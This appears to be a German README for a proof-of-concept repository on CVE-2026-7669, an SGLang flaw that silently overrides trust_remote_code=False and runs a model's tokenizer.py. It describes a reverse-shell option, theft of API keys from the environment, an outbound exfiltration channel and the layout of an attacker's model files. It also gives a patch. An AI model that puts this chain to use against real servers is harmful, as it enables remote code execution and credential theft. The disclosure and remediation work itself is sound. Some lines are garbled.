
PoC für CVE-2026-7669: SGLang stilles trust_remote_code-Override -> RCE
SGLang überschreibt stillschweigend trust_remote_code=False mit True und ruft
AutoTokenizer.from_pretrained erneut auf, sobald transformers v5 ein
TokenizersBackend-Objekt zurückgibt. Ein Modell mit einer benutzerdefinierten tokenizer_class und
einer auto_map, die auf tokenizer.py verweist, erreicht beliebige Codeausführung
innerhalb des SGLang-Prozesses, selbst wenn der Betreiber False übergeben hat. In keiner
Log-Ebene wird eine Zeile ausgegeben.
main (Commit )fae90abf6python/sglang/srt/utils/hf_transformers_utils.py:898-909AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 Hochif not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
tokenizer = AutoTokenizer.from_pretrained(
tokenizer_name,
*args,
trust_remote_code=True,
tokenizer_revision=tokenizer_revision,
clean_up_tokenization_spaces=False,
**kwargs,
)
Eingeführt in PR #17784
(Commit d1e95af28, 2026-03-18). Der ursprüngliche logger.info(...)-Hinweis
wurde durch Commit 27ac831a8 (2026-03-23) unter dem Titel „docs: improve CI
and testing documentation" entfernt, wodurch die Überschreibung in jeder
veröffentlichten verwundbaren Version völlig still bleibt.
git clone https://github.com/<your-org>/CVE-2026-7669.git
cd CVE-2026-7669
./run.sh
Erstellt ein Docker-Image (python:3.12.7-slim-bookworm + transformers==5.3.0
Andere Modi:
./run.sh --server Reproduktion über TokenizerManager.__init__
./run.sh --versions transformers 5.0..5.5 Matrix
./run.sh --revshell IP optionale Reverse Shell auf IP:4444
./run.sh --rebuild erzwingt --no-cache Neubau
./run.sh --copy-ledger ./ledger.json
Exit 0 bedeutet bestätigt. Abschließende Zusammenfassung:
Phase 1 transformers + False return=TokenizersBackend exec=False
Phase 1b PATCHED sglang + False return=TokenizersBackend exec=False
Phase 2 REAL sglang + False return=MaliciousTokenizer exec=True
Phase 2b PATCHED sglang + True return=MaliciousTokenizer exec=True
Phase 3 REAL sglang + False (langsam) return=MaliciousTokenizer exec=True
Behauptungen: 29 PASS / 0 FAIL / 0 N/A / 29 GESAMT
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 Hoch
*** SCHWACHSTELLE BESTÄTIGT -- ALLE BEHAUPTUNGEN GESTÜTZT ***
Exit-Codes:
| Code | Bedeutung |
|---|---|
| 0 | Bestätigt |
| 1 | Nicht ausgelöst |
| 2 | Falsch positiv (transformers selbst führte tokenizer.py aus, Fehler liegt upstream) |
| 3 | Preflight mit festgelegter Version fehlgeschlagen |
Die Preflight-Phase liest pinned_versions.json und prüft jeden Wert
gegen die Laufzeitumgebung. Abweichungen führen vor jedem Test zu Exit 3.
| Komponente | Festlegung |
|---|---|
| Python | 3.12.7-slim-bookworm |
| transformers | 5.3.0 |
| SGLang-Commit | fae90abf6e15aaffb6fd924a439253674771487d |
hf_transformers_utils.py SHA256 | 9e798eabf2451630bd5939aa9aa65ec397a769157f26fb905057c17ee938497e |
| Verwundbarer Block (Zeilen 898-909) SHA256 | 109fe46208631b80a58755799b44339e19b6902ffe76d68f18b31a59e26b2ece |
| Metrik | Wert | Gestützt durch |
|---|---|---|
| AV | N | Auslösedateien (config.json, tokenizer_config.json, tokenizer.json, tokenizer.py) sind das Standard-HF-Hub-auto_map-Layout. Jede Registry, die sie bereitstellt, erreicht den Fehler. |
| AC | L | PHASE-2 feuert deterministisch bei einem einzigen Lauf. Jede Auslösebedingung ist vom Angreifer erstellter Inhalt. PRE-1..7 bestätigen kein Umgebungs-Fingerprinting. |
| PR | N | Kostenloser HF-Hub-Upload ist ausreichend. Nichts in der Auslösekette erfordert bestehende Berechtigungen auf dem Opfer. |
| UI | R | Der Auslöser feuert nur, wenn ein Betreiber (oder eine vom Betreiber konfigurierte Pipeline) launch_server --model-path attacker/model aufruft. |
| S | U | Alle SEV-*-Behauptungen laufen innerhalb der SGLang-Prozessautorität. Kein Sandbox- oder Container-Escape. |
| C | H | SEV-secrets erfasst HF_TOKEN, OPENAI_API_KEY, ANTHROPIC_API_KEY, GPG_KEY aus der Prozessumgebung. SEV-network öffnet einen ausgehenden TCP-Exfiltrationskanal. |
| I | H | SEV-write-sglang, SEV-write-launchsrv, SEV-write-model, SEV-pip sind vier unabhängige Integritäts-Primitive an verschiedenen sensiblen Stellen. |
| A | H | Aus RCE abgeleitet. SEV-pip beweist beliebige Subprozessausführung, was dasselbe Primitive ist, das für Self-DoS benötigt wird. Der PoC demonstriert keinen direkten Self-Kill. |
8.8 ist die konservative Untergrenze. 9.6 (mit S:C) und 10.0 (sowohl S:C als auch
UI:N) sind vertretbar, hängen aber vom Prüfer ab.
UI:N ist für diese CVE nicht gerechtfertigt. Der HTTP-Server von SGLang hat
einen echten Standard-Umgehung ohne Authentifizierung, wenn api_key=None und admin_api_key=None
(verifiziert durch AUTH-1 gegen das decide_request_auth-Primitive zur
Laufzeit), aber kein HTTP-Endpunkt erreicht get_tokenizer nach dem Start
(verifiziert durch CHAIN-1). Alle vier get_tokenizer-Aufrufstellen
(TokenizerManager.__init__, Scheduler.__init__, TPWorker.__init__,
DetokenizerManager.__init__) feuern einmal beim Serverstart aus dem
vom Betreiber bereitgestellten --model-path. Die Authentifizierungsumgehung ist daher ein separates
Problem und kein Kettenpartner für CVE-2026-7669.
Der PoC schreibt ein JSON-Ledger unter /tmp/poc_claim_ledger.json mit 29
einzeln testbaren Behauptungen. Verwenden Sie ./run.sh --copy-ledger ./ledger.json,
um es zu extrahieren.
| Gruppe | Behauptungen |
|---|---|
PRE-1..7 | Festgelegte Versionen (Python, transformers, Datei-SHA256, Zeilenzahl, Override-Block-SHA256, Standard-trust_remote_code, Quellpfad) |
SRC-1 | Importierte get_tokenizer-Quelle enthält die Überschreibung |
PHASE-1 | transformers respektiert trust_remote_code=False direkt |
PHASE-1b, PHASE-1b-mech | SGLang ohne Zeilen 898-909 respektiert False und macht genau einen from_pretrained-Aufruf |
PHASE-2, PHASE-2-mech, PHASE-2-silent | Echtes SGLang führt tokenizer.py aus. Trace zeigt Aufruf 0 (False)->TokenizersBackend, Aufruf 1 (True)->MaliciousTokenizer. Keine Log-Zeile erwähnt trust_remote_code (DEBUG-Erfassung auf Root- und sglang-Logger). |
PHASE-2b | Gepatcht + explizites True lädt weiterhin (Patch ist chirurgisch) |
PHASE-3-rce, PHASE-3-via-override | Langsamer Tokenizer-Modus erreicht ebenfalls RCE über denselben 898-909-Pfad |
SEV-write-sglang, SEV-write-launchsrv, SEV-write-model | Persistenz- und laterale Ausbreitungs-Primitive |
SEV-network | Ausgehender TCP-Exfiltrationskanal |
SEV-secrets | Erfassung von Umgebungsvariablen-Geheimnissen |
SEV-pip | Beliebige pip-Installation (Supply Chain) |
SEV-root | Prozess läuft als root im lmsysorg-Image |
AUTH-1 | Standard-ServerArgs (api_key=None, admin_api_key=None) lässt alle ADMIN_OPTIONAL-Endpunkte ohne Authentifizierung erreichbar |
Auslösemodelldateien (alle vom Angreifer kontrolliert, alle von HF Hub erlaubt):
attacker/model/
config.json model_type "gpt2" (in transformers' TOKENIZER_MAPPING_NAMES)
tokenizer_config.json benutzerdefinierte tokenizer_class + auto_map -> tokenizer.py
tokenizer.json gültiger BPE-Tokenizer (damit der erste Ladevorgang gelingt)
tokenizer.py Payload
model.safetensors Dummy-Gewichte
Ausführungsablauf innerhalb get_tokenizer(MODEL_DIR, trust_remote_code=False):
AutoTokenizer.from_pretrained(..., trust_remote_code=False) auf.tokenizer_class findet, die nicht in seiner
Registry ist, fällt auf ein generisches TokenizersBackend zurück, das aus
tokenizer.json erstellt wird. tokenizer.py wird an diesem Punkt nicht ausgeführt.type(tokenizer).__name__ == "TokenizersBackend"
und versuchen es stillschweigend erneut mit trust_remote_code=True.tokenizer.py.
Top-Level-Anweisungen laufen innerhalb des SGLang-Prozesses.Der PHASE-2-mech des PoC erfasst den Trace wörtlich:
[{idx: 0, trust_remote_code: False, returned_type: "TokenizersBackend"},
{idx: 1, trust_remote_code: True, returned_type: "MaliciousTokenizer"}]
Löschen Sie die Zeilen 898-909. TokenizersBackend ist ein brauchbarer Tokenizer für viele
Workloads, und die Rückgabe wie er ist, ist eine sichere Standardeinstellung. Wenn ein Modell
wirklich benutzerdefinierten Tokenizer-Code benötigt, sollte der Betreiber --trust-remote-code
explizit übergeben.
Alternativ eine laute Warnung protokollieren und TokenizersBackend zurückgeben, ohne
from_pretrained erneut aufzurufen:
if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
logger.warning(
"Model %s requires a custom tokenizer but trust_remote_code=False. "
"Returning generic TokenizersBackend without executing tokenizer.py. "
"Restart with --trust-remote-code if the custom code is required.",
tokenizer_name,
)
PHASE-2b verifiziert, dass der minimale Patch chirurgisch ist: explizites
trust_remote_code=True lädt das Modell weiterhin.
trust_remote_code: https://huggingface.co/docs/transformers/main/en/model_doc/auto#from-pretrainedDieser PoC dient der defensiven Sicherheitsforschung und Behebung. Die
bösartige tokenizer.py schreibt standardmäßig nur in /tmp/sglang_poc_proof.txt
innerhalb des Containers. Führen Sie ihn nicht gegen Systeme aus, die Sie nicht
besitzen oder für die Sie keine Testautorisierung haben.
AUTH-2, AUTH-3 | Positivkontrollen, die bestätigen, dass Middleware ohne Authentifizierung blockiert und gültiges Bearer-Token akzeptiert, wenn konfiguriert |
CHAIN-1 | Kein HTTP-Endpunkt-Handler ruft get_tokenizer() nach dem Start auf (null Aufrufstellen in http_server.py) |
CHAIN-2 | Explizites Urteil: UI:N ist für diese CVE NICHT gerechtfertigt. Die Standard-Umgehung ohne Authentifizierung ist real, kann aber die trust_remote_code-Überschreibung nicht erreichen, da alle vier get_tokenizer-Aufrufer (TokenizerManager / Scheduler / TPWorker / DetokenizerManager) __init__-Pfade sind, die einmal beim Serverstart feuern. Der Betreiber wählt den Modellpfad weiterhin zur launch_server-Zeit, daher bleibt UI:R bestehen. |